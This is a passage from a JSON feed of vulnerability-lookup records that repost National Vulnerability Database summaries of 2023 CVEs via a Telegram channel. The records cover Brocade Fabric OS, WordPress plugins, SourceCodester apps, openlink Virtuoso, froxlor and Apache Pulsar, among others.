Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-02T07:39:18.000000Z"}, {"uuid": "15f85ace-ead9-4bca-96df-94f1fea05375", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31431", "type": "seen", "source": "https://t.me/cibsecurity/67558", "content": "\u203c CVE-2023-31431 \u203c\n\nA buffer overflow vulnerability in \u00e2\u20ac\u0153diagstatus\u00e2\u20ac\ufffd command in Brocade Fabric OS before Brocade Fabric v9.2.0 and v9.1.1c could allow an authenticated user to crash the Brocade Fabric OS switch leading to a denial of service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-02T07:39:13.000000Z"}, {"uuid": "38764393-08d4-4fe5-a0c6-ea8b011161d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31430", "type": "seen", "source": "https://t.me/cibsecurity/67551", "content": "\u203c CVE-2023-31430 \u203c\n\nA buffer overflow vulnerability in \u00e2\u20ac\u0153secpolicydelete\u00e2\u20ac\ufffd command in Brocade Fabric OS before Brocade Fabric OS v9.1.1c and v9.2.0 could allow an authenticated privileged user to crash the Brocade Fabric OS switch leading to a denial of service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-02T07:39:03.000000Z"}, {"uuid": "abaa3799-0680-4575-b819-7c9212805a38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31425", "type": "seen", "source": "https://t.me/cibsecurity/67545", "content": "\u203c CVE-2023-31425 \u203c\n\nA vulnerability in the fosexec command of Brocade Fabric OS after Brocade Fabric OS v9.1.0 and, before Brocade Fabric OS v9.1.1 could allow a local authenticated user to perform privilege escalation to root by breaking the rbash shell. Starting with Fabric OS v9.1.0, \u00e2\u20ac\u0153root\u00e2\u20ac\ufffd account access is disabled.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-02T00:38:40.000000Z"}, {"uuid": "6207d530-3d06-47e7-92a7-6550cb0d2760", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31429", "type": "seen", "source": "https://t.me/cibsecurity/67544", "content": "\u203c CVE-2023-31429 \u203c\n\nBrocade Fabric OS before Brocade Fabric OS v9.1.1c, v9.2.0 contains a vulnerability when using various commands such as \u00e2\u20ac\u0153chassisdistribute\u00e2\u20ac\ufffd, \u00e2\u20ac\u0153reboot\u00e2\u20ac\ufffd, \u00e2\u20ac\u0153rasman\u00e2\u20ac\ufffd, errmoduleshow, errfilterset, hassiscfgperrthreshold, supportshowcfgdisable and supportshowcfgenable commands that can cause the content of shell interpreted variables to be printed in the terminal.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-02T00:38:39.000000Z"}, {"uuid": "30d5f7ac-d99c-4af6-95c8-f8ee8a012ebb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31710", "type": "seen", "source": "https://t.me/cibsecurity/67504", "content": "\u203c CVE-2023-31710 \u203c\n\nTP-Link Archer AX21(US)_V3_1.1.4 Build 20230219 and AX21(US)_V3.6_1.1.4 Build 20230219 are vulnerable to Buffer Overflow.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-01T22:57:49.000000Z"}, {"uuid": "30c126ee-0bb7-41b4-9262-a74701f09317", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3134", "type": "seen", "source": "https://t.me/cibsecurity/67446", "content": "\u203c CVE-2023-3134 \u203c\n\nThe Forminator WordPress plugin before 1.24.4 does not properly escape values that are being reflected inside form fields that use pre-populated query parameters, which could lead to reflected XSS attacks.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-31T14:37:43.000000Z"}, {"uuid": "a46c00d2-769f-4ec4-9460-511dfef827a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3130", "type": "seen", "source": "https://t.me/cibsecurity/67444", "content": "\u203c CVE-2023-3130 \u203c\n\nThe Short URL WordPress plugin before 1.6.5 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-31T14:37:41.000000Z"}, {"uuid": "389bff5d-8b0d-4e4f-b1c3-c1c47bf2c052", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31937", "type": "seen", "source": "https://t.me/cibsecurity/67384", "content": "\u203c CVE-2023-31937 \u203c\n\nSql injection vulnerability found in Rail Pass Management System v.1.0 allows a remote attacker to execute arbitrary code via the editid parameter of the edit-cateogry-detail.php file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-28T18:36:04.000000Z"}, {"uuid": "35c2d6f3-8f18-478a-86dd-37dbc6f1ffd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31116", "type": "seen", "source": "https://t.me/cibsecurity/65054", "content": "\u203c CVE-2023-31116 \u203c\n\nAn issue was discovered in the Shannon RCS component in Samsung Exynos Modem 5123 and 5300. An incorrect default permission can cause unintended querying of RCS capability via a crafted application.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-06-08T00:35:23.000000Z"}, {"uuid": "197f698e-fb0f-47e3-913d-791e5a000fdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31671", "type": "seen", "source": "https://t.me/cibsecurity/65241", "content": "\u203c CVE-2023-31671 \u203c\n\nPrestaShop postfinance <= 17.1.13 is vulnerable to SQL Injection via PostfinanceValidationModuleFrontController::postProcess().\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-06-14T22:21:00.000000Z"}, {"uuid": "a558d07f-85ac-41b7-928c-11cafa4731f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31142", "type": "seen", "source": "https://t.me/cibsecurity/65182", "content": "\u203c CVE-2023-31142 \u203c\n\nDiscourse is an open source discussion platform. Prior to version 3.0.4 of the `stable` branch and version 3.1.0.beta5 of the `beta` and `tests-passed` branches, if a site has modified their general category permissions, they could be set back to the default. This issue is patched in version 3.0.4 of the `stable` branch and version 3.1.0.beta5 of the `beta` and `tests-passed` branches. A workaround, only if you are modifying the general category permissions, is to use a new category for the same purpose.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-06-14T02:20:18.000000Z"}, {"uuid": "5dbdd550-f949-4446-9643-e0a5a0a5d5f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3192", "type": "seen", "source": "https://t.me/cibsecurity/65123", "content": "\u203c CVE-2023-3192 \u203c\n\nSession Fixation in GitHub repository froxlor/froxlor prior to 2.1.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-06-11T14:33:16.000000Z"}, {"uuid": "a8c4f25c-cc67-479e-8ead-a8a273349a6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3165", "type": "seen", "source": "https://t.me/cibsecurity/65075", "content": "\u203c CVE-2023-3165 \u203c\n\nA vulnerability was found in SourceCodester Life Insurance Management System 1.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file insertNominee.php of the component POST Parameter Handler. The manipulation of the argument nominee_id leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-231109 was assigned to this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-06-08T20:27:07.000000Z"}, {"uuid": "93b055b0-2887-4a77-a7cc-34b6e7de7610", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3199", "type": "seen", "source": "https://t.me/cibsecurity/66505", "content": "\u203c CVE-2023-3199 \u203c\n\nThe MStore API plugin for WordPress is vulnerable to Cross-Site Request Forgery due to missing nonce validation on the mstore_update_status_order_title function. This makes it possible for unauthenticated attackers to update status order title via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-12T12:48:27.000000Z"}, {"uuid": "ff890cf8-5422-4f32-9ca5-22d5b0c9e3fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3184", "type": "seen", "source": "https://t.me/cibsecurity/65101", "content": "\u203c CVE-2023-3184 \u203c\n\nA vulnerability was found in SourceCodester Sales Tracker Management System 1.0. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /classes/Users.php?f=save. The manipulation of the argument firstname/middlename/lastname/username leads to cross site scripting. The attack may be launched remotely. The identifier of this vulnerability is VDB-231164.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-06-09T16:21:45.000000Z"}, {"uuid": "136c5d53-0552-4180-862f-e55d66d85f25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3183", "type": "seen", "source": "https://t.me/cibsecurity/65100", "content": "\u203c CVE-2023-3183 \u203c\n\nA vulnerability was found in SourceCodester Performance Indicator System 1.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /admin/addproduct.php. The manipulation of the argument prodname leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-231163.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-06-09T16:21:44.000000Z"}, {"uuid": "00b63aa4-d6c3-48b1-a2f5-4a1753ef4dd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31611", "type": "seen", "source": "https://t.me/cibsecurity/64157", "content": "\u203c CVE-2023-31611 \u203c\n\nAn issue in the __libc_longjmp component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T18:29:57.000000Z"}, {"uuid": "2585683a-5ae6-400a-8d82-bb19f6cb3c3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31631", "type": "seen", "source": "https://t.me/cibsecurity/64156", "content": "\u203c CVE-2023-31631 \u203c\n\nAn issue in the sqlo_preds_contradiction component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T18:29:57.000000Z"}, {"uuid": "273b0a1f-eff1-4e8a-b1ed-d5e3e0528f9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31630", "type": "seen", "source": "https://t.me/cibsecurity/64155", "content": "\u203c CVE-2023-31630 \u203c\n\nAn issue in the sqlo_query_spec component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T18:29:52.000000Z"}, {"uuid": "008bdc26-803d-4f0e-b9e1-56b90234f2a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31624", "type": "seen", "source": "https://t.me/cibsecurity/64154", "content": "\u203c CVE-2023-31624 \u203c\n\nAn issue in the sinv_check_exp component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T18:29:52.000000Z"}, {"uuid": "4f15aed7-6236-44f1-a39d-b5aaf21f0902", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31607", "type": "seen", "source": "https://t.me/cibsecurity/64153", "content": "\u203c CVE-2023-31607 \u203c\n\nAn issue in the __libc_malloc component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T18:29:51.000000Z"}, {"uuid": "a423ef9c-1b87-4d6d-b897-d38e59f89444", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31628", "type": "seen", "source": "https://t.me/cibsecurity/64152", "content": "\u203c CVE-2023-31628 \u203c\n\nAn issue in the stricmp component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T18:29:50.000000Z"}, {"uuid": "4829cd69-5ce6-4cd7-94f3-39a5ea649073", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31615", "type": "seen", "source": "https://t.me/cibsecurity/64151", "content": "\u203c CVE-2023-31615 \u203c\n\nAn issue in the chash_array component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T18:29:49.000000Z"}, {"uuid": "85ed257a-34ed-4dc8-b6f3-77f78da417e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31609", "type": "seen", "source": "https://t.me/cibsecurity/64150", "content": "\u203c CVE-2023-31609 \u203c\n\nAn issue in the dfe_unit_col_loci component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T18:29:45.000000Z"}, {"uuid": "1267529a-4cf4-4a3d-b67f-e6bd77bfbac9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3172", "type": "seen", "source": "https://t.me/cibsecurity/65087", "content": "\u203c CVE-2023-3172 \u203c\n\nPath Traversal in GitHub repository froxlor/froxlor prior to 2.0.20.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-06-09T07:32:55.000000Z"}, {"uuid": "3babbe6d-41dd-49f1-81b9-c8bc76fc77d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3173", "type": "seen", "source": "https://t.me/cibsecurity/65085", "content": "\u203c CVE-2023-3173 \u203c\n\nImproper Restriction of Excessive Authentication Attempts in GitHub repository froxlor/froxlor prior to 2.0.20.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-06-09T07:21:27.000000Z"}, {"uuid": "e9e92a40-fbfc-4708-a843-d19ebe05ed70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31200", "type": "seen", "source": "https://t.me/cibsecurity/65059", "content": "\u203c CVE-2023-31200 \u203c\n\nPTC Vuforia Studio does not require a token; this could allow an attacker with local access to perform a cross-site request forgery attack or a replay attack.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-06-08T03:19:24.000000Z"}, {"uuid": "ac05acff-db83-4747-b5c2-6c3a727db4a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3146", "type": "seen", "source": "https://t.me/cibsecurity/65045", "content": "\u203c CVE-2023-3146 \u203c\n\nA vulnerability, which was classified as critical, was found in SourceCodester Online Discussion Forum Site 1.0. This affects an unknown part of the file admin\\categories\\manage_category.php. The manipulation of the argument id leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-231015.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-06-07T20:35:15.000000Z"}, {"uuid": "54907341-b895-495f-ad11-bdd30185314c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3145", "type": "seen", "source": "https://t.me/cibsecurity/65039", "content": "\u203c CVE-2023-3145 \u203c\n\nA vulnerability, which was classified as critical, has been found in SourceCodester Online Discussion Forum Site 1.0. Affected by this issue is some unknown functionality of the file classes\\Users.php?f=registration. The manipulation of the argument username leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-231014 is the identifier assigned to this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-06-07T18:35:08.000000Z"}, {"uuid": "ac44b189-5a6f-4f68-94a9-98375e311b72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3140", "type": "seen", "source": "https://t.me/cibsecurity/65033", "content": "\u203c CVE-2023-3140 \u203c\n\nMissing HTTP headers (X-Frame-Options, Content-Security-Policy) in KNIME Business Hub before 1.4.0 has left users vulnerable to click jacking. Clickjacking is an attack that occurs when an attacker uses a transparent iframe in a window to trick a user into clicking on an actionable item, such as a button or link, to another server in which they have an identical webpage. The attacker essentially hijacks the user activity intended for the original server and sends them to the other server.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-06-07T14:35:01.000000Z"}, {"uuid": "66005ce4-fb48-4e68-b51e-a55caa564034", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31873", "type": "seen", "source": "https://t.me/cibsecurity/64753", "content": "\u203c CVE-2023-31873 \u203c\n\nGin 0.7.4 allows execution of arbitrary code when a crafted file is opened, e.g., via require('child_process').\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-06T13:44:25.000000Z"}, {"uuid": "71658e69-f1bd-4e5d-9fc4-c394e158409a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31822", "type": "seen", "source": "https://t.me/cibsecurity/66676", "content": "\u203c CVE-2023-31822 \u203c\n\nAn issue found in Entetsu Store v.13.4.1 allows a remote attacker to gain access to sensitive information via the channel access token in the miniapp Entetsu Store function.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-13T18:11:58.000000Z"}, {"uuid": "de02f33e-b0ca-4af2-ab5b-17edfcecd17e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31820", "type": "seen", "source": "https://t.me/cibsecurity/66675", "content": "\u203c CVE-2023-31820 \u203c\n\nAn issue found in Shizutetsu Store v.13.6.1 allows a remote attacker to gain access to sensitive information via the channel access token in the miniapp function.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-13T18:11:57.000000Z"}, {"uuid": "749f7bf0-cf2f-43b7-838e-c5a2fcf265c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31705", "type": "seen", "source": "https://t.me/cibsecurity/66674", "content": "\u203c CVE-2023-31705 \u203c\n\nA Reflected Cross-site scripting (XSS) vulnerability in Sourcecodester Task Reminder System 1.0 allows an authenticated user to inject malicious javascript into the page parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-13T18:11:53.000000Z"}, {"uuid": "6a873c4a-9444-4c64-bfcb-d34b742cecc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31821", "type": "seen", "source": "https://t.me/cibsecurity/66672", "content": "\u203c CVE-2023-31821 \u203c\n\nAn issue found in ALBIS Co. ALBIS v.13.6.1 allows a remote attacker to gain access to sensitive information via the channel access token in the miniapp ALBIS function.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-13T18:11:51.000000Z"}, {"uuid": "f9fdd0da-5bda-46a0-87c6-5446fc70054d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31823", "type": "seen", "source": "https://t.me/cibsecurity/66671", "content": "\u203c CVE-2023-31823 \u203c\n\nAn issue found in Marui Co Marui Official app v.13.6.1 allows a remote attacker to gain access to sensitive information via the channel access token in the miniapp Marui Official Store function.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-13T18:11:50.000000Z"}, {"uuid": "0595cc89-1f0f-4d6b-93c3-c62eebee1e04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31825", "type": "seen", "source": "https://t.me/cibsecurity/66670", "content": "\u203c CVE-2023-31825 \u203c\n\nAn issue found in Inageya v.13.4.1 allows a remote attacker to gain access to sensitive information via the channel access token in the miniapp Inageya function.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-13T18:11:49.000000Z"}, {"uuid": "a2753a51-a8db-4e65-a51d-aaf5e3791425", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31824", "type": "seen", "source": "https://t.me/cibsecurity/66668", "content": "\u203c CVE-2023-31824 \u203c\n\nAn issue found in DERICIA Co. Ltd, DELICIA v.13.6.1 allows a remote attacker to gain access to sensitive information via the channel access token in the miniapp DELICIA function.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-13T18:11:44.000000Z"}, {"uuid": "94b872a1-afdc-4d81-bc7f-c4b590770e67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31704", "type": "seen", "source": "https://t.me/cibsecurity/66667", "content": "\u203c CVE-2023-31704 \u203c\n\nSourcecodester Online Computer and Laptop Store 1.0 is vulnerable to Incorrect Access Control, which allows remote attackers to elevate privileges to the administrator's role.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-13T18:11:43.000000Z"}, {"uuid": "f83c2c75-0dce-48f2-8fa5-0ec0574c9ba3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3135", "type": "seen", "source": "https://t.me/cibsecurity/66489", "content": "\u203c CVE-2023-3135 \u203c\n\nThe Mailtree Log Mail plugin for WordPress is vulnerable to Stored Cross-Site Scripting via an email subject in versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-12T12:41:36.000000Z"}, {"uuid": "cb337202-a75f-49db-a2d9-d939d482461e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3106", "type": "seen", "source": "https://t.me/cibsecurity/66488", "content": "\u203c CVE-2023-3106 \u203c\n\nA NULL pointer dereference vulnerability was found in netlink_dump. This issue can occur when the Netlink socket receives the message(sendmsg) for the XFRM_MSG_GETSA, XFRM_MSG_GETPOLICY type message, and the DUMP flag is set and can cause a denial of service or possibly another unspecified impact. Due to the nature of the flaw, privilege escalation cannot be fully ruled out, although it is unlikely.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-12T12:41:34.000000Z"}, {"uuid": "57a214de-4ad4-4ef7-b509-fe1f8f3d1495", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3105", "type": "seen", "source": "https://t.me/cibsecurity/66502", "content": "\u203c CVE-2023-3105 \u203c\n\nThe LearnDash LMS plugin for WordPress is vulnerable to Insecure Direct Object References in versions up to, and including, 4.6.0. This is due to the plugin providing user-controlled access to objects, letting a user bypass authorization and access system resources. This makes it possible for attackers with with existing account access at any level, to change user passwords and potentially take over administrator accounts.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-12T12:45:23.000000Z"}, {"uuid": "bb3ef0ba-a24d-4e2c-9a5c-d66e2d9f79f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3166", "type": "seen", "source": "https://t.me/cibsecurity/66465", "content": "\u203c CVE-2023-3166 \u203c\n\nThe Lana Email Logger plugin for WordPress is vulnerable to Stored Cross-Site Scripting via an email subject in versions up to, and including, Lana Email Logger due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-12T12:35:24.000000Z"}, {"uuid": "dbdebd83-e0b1-4815-ab3f-21dbf3017d14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31007", "type": "seen", "source": "https://t.me/cibsecurity/66533", "content": "\u203c CVE-2023-31007 \u203c\n\nImproper Authentication vulnerability in Apache Software Foundation Apache Pulsar Broker allows a client to stay connected to a broker after authentication data expires if the client connected through the Pulsar Proxy when the broker is configured with authenticateOriginalAuthData=false or if a client connects directly to a broker with a specially crafted connect command when the broker is configured with authenticateOriginalAuthData=false.This issue affects Apache Pulsar: through 2.9.4, from 2.10.0 through 2.10.3, 2.11.0.2.9 Pulsar Broker users should upgrade to at least 2.9.5.2.10 Pulsar Broker users should upgrade to at least 2.10.4.2.11 Pulsar Broker users should upgrade to at least 2.11.1.3.0 Pulsar Broker users are unaffected.Any users running the Pulsar Broker for 2.8.* and earlier should upgrade to one of the above patched versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-12T14:45:42.000000Z"}, 